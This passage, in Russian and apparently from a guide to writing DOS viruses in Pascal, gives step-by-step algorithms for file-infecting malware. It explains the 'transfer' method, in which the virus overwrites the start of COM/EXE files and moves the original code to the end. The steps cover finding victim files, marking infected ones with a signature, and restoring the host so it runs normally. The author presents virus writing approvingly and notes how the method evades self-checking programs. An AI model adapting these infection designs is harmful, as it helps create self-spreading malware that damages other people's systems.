14. Создать на диске временный файл с расширением СОМ или ЕХЕ (в зависимости от того, какой тип программ заражается).

15. Записать в этот файл тело программы из буфера.

16. Закрыть созданный файл.

17. Процедурой Ехес запустить созданный файл на исполнение – выполнится инфицированная программа.

18. После завершения работы программы созданный файл удалить.

19. Вернуть управление в DOS.

Вирусы – это хорошая гимнастика для ума, хотя многие думают, что написать вирус на языке высокого уровня весьма трудно. Это не совсем так. Писать на языке Pascal довольно легко, правда величина получен – ного кода вызывает благоговейный трепет.

Внедрение способом переноса

Вирусы данного типа размножаются следующим образом. Из инфициру – емой программы от начала файла считывается часть кода, по длине рав – ная длине вируса. На освободившееся место вписывается вирус, а оригинальное начало программы переносится в конец файла. Отсюда и название метода – “метод переноса”. Есть и другие варианты. Иногда, например, начало программы записывается в середину файла, а середина переносится в конец, чтобы еще сильнее все запутать. Превосходство дан – ного метода над другими описанными в том, что инфицированная про – грамма исполняется в том же виде, в каком она была до заражения, из файла с тем же именем и расширением. То есть программы, проверя – ющие себя на предмет заражения вирусом, его не замечают. Корректно исполняются и такие программы, которые ищут свои файлы конфигура – ции с именами:

ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI

Недостаток данного метода проявляется при сбоях в работе компьюте – ра. Если при исполнении инфицированной программы компьютер “повиснет” или произойдет перезагрузка системы, инфицированная

Программа окажется “чистой”, то есть без вируса. Но, во-первых, “кто не рискует, тот не пьет шампанского”, а во-вторых, программы виснут редко. Алгоритм работы такого вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса.

3. Закрыть файл.

4. Найти файл-жертву.

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть вариан – ты, но чаще всего используется сигнатура).

7. Если файл уже инфицирован, перейти к пункту 3.

8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса.

9. Записать в начало файла тело вируса из буфера.

10. Дописать в конец файла считанное начало программы из буфера. Длина программы увеличилась на длину вируса.

11. Закрыть файл-жертву.

12. Открыть файл, из которого стартовали.

13. Считать в буфер начало инфицированной программы, расположен – ное в конце файла.

14. Записать считанное начало программы поверх кода вируса в начало файла.

15. Сократить файл до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла).

16. Закрыть файл.

17. Процедурой Ехес запустить стартовый файл (ParamStr(O)) на ис – полнение – выполнится инфицированная программа.

18. После завершения работы программы опять открыть стартовый файл.

19. Записать в начало файла тело вируса, а оригинальное начало про – граммы опять переместить в конец файла.

20. Закрыть файл.

21. Вернуть управление в DOS.


Exe-вирусы